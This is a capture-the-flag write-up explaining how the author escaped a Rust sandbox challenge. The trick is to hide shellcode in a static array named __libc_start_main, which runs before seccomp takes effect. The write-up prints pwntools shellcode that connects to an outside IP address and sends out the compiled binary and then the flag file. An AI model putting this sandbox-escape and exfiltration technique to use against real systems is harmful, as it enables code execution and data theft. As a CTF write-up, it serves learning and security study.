Rating: 5.0
In this challenge, one was supposed to provide a file code.rs
with a function
code
, which would be called from a main program that looks like this:
extern crate code;
use code::code;
fn main() {
// hidden
code();
}
To make things more interesting, the provided code was compiled with a switch
that disables all usage of unsafe
, and usage of any of the include*!()
macros (which could leak the contents of main.rs
during compilation) was
disallowed.
I first unsuccessfully tried to force a stack overflow - the Rust compiler has a
static limit on the size of a stack frame, and there is no alloca
/VLA support
in Rust. My next idea was to use #[no_mangle]
on an unsafe function and name
it identically to the mangled name of code::code()
which I'd mark weak to
prevent linker issues with the duplicate symbol. Unfortunately, you can't mark a
symbol as weak in Rust. Then I was thinking about providing my own version of
free
with one that prints anything it gets that looks like a flag. However,
that didn't work out because Rust by default ships with a statically linked
jemalloc, so overriding a dynamically linked function is not possible.
Looking through the list of
attributes, I finally came
up with a working solution. The code()
function is actually empty, instead I
embedded some shell code in a static byte array called __libc_start_main
.
#[no_mangle]
#[link_section=".text"]
pub static __libc_start_main : [u8; 127] = [
...
];
pub fn code() {}
I first used pwntools to generate some shellcode that would leak me the compiled
binary so that I could find out how the flag is retrieved in the main
function:
#!/usr/bin/env
import sys
from pwnlib.shellcraft.amd64.linux import connect, readfile, exit
from pwnlib.asm import asm
code = readfile('/proc/self/exe', 1) + exit(0)
sys.stdout.write(asm(code, arch='amd64'))
Because the web interface for the challenge used a fancy web terminal
that was not meant to display huge amounts of binary data (and required a
captcha which was hard to use from curl
), I changed it to send the binary to a
network socket:
code = ''
code += connect('78.46.244.89', 1337)
code += readfile('/proc/self/exe', 'rbp')
code += exit(0)
Reversing this binary, I found that it just reads the flag from a file called
flag.txt
. So I changed the shellcode above to send this file instead of
/proc/self/exe
to get the flag.
Looking back, I was wondering why I even bothered with
all this shell code. No unsafe
code is required for reading files or opening
sockets. I think, I could just have written some Rust code that does the same
thing as my shellcode. Reversing the binary a bit further beyond the reference to
flag.txt
revealed that seccomp in strict mode was used to prevent any syscalls
except read
, write
and _exit
from working. Since our fake
__libc_start_main
runs instead of the normal main
, this sandbox never
becomes active, of course.
I guess the simplest solution would have just included an empty function for
prctl
to prevent seccomp from going active. Then the code::code
function
could have just read the flag using normal Rust code.